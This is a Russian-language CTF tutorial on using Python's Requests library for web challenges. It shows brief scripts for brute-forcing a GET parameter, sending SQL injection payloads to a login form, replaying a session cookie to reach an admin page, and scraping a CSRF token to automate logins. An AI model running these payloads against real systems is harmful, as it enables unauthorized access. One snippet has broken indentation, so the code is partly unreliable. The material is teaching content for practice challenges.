📡 Библиотека Requests: Суперсила для веб-заданий в CTF

💡 Requests — это «HTTP для людей». С её помощью можно быстро взламывать веб-задачи, не погружаясь в низкоуровневые детали.

🔍 Почему Requests незаменима в CTF?

💻 Основные сценарии использования

1. Брутфорс параметров GET-запроса

import requests

for i in range(100):
     response = requests.get(f'http://ctf.com/?id={i}')
     if "flag{" in response.text:
         print(f"Found flag: {response.text}")
         break

2. Эксплуатация SQL-инъекции через POST

payloads = ["' OR 1=1--", "' UNION SELECT flag FROM secrets--"]
with requests.Session() as s:
     for p in payloads:
     data = {"username": "admin", "password": p}
     r = s.post('http://ctf.com/login', data=data)
     if "Welcome admin" in r.text:
         print(f"Success with payload: {p}")

3. Работа с cookies для подделки сессии

cookies = {"session": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
r = requests.get('http://ctf.com/admin', cookies=cookies)
print(r.text)

🚀 Продвинутые техники

📌 Советы профессионалов

  • Используйте Session() для сохранения состояния
  • Настраивайте таймауты: requests.get(url, timeout=5)
  • Анализируйте заголовки: r.headers['Server']
  • Работайте с JSON: r.json()

Пример: Обход защиты от брутфорса

import requests
from bs4 import BeautifulSoup

s = requests.Session()
r = s.get('http://ctf.com/login')
soup = BeautifulSoup(r.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrf'})['value']

data = {
'csrf': csrf_token,
'username': 'admin',
'password': 'password123'
}
r = s.post('http://ctf.com/login', data=data)

⚠️ Важные предупреждения

  • Не используйте слепой брутфорс — это может сломать сервис
  • Всегда проверяйте входные данные (избегайте SSRF)
  • Используйте proxies для отладки через Burp Suite

📝 Задания на закрепление

  • Порешайте задачи из раздела Задания, в названии которых есть слово web, многие из эти заданий можно сделать с помощью requests
  • Задание на requests

📚 Ресурсы для изучения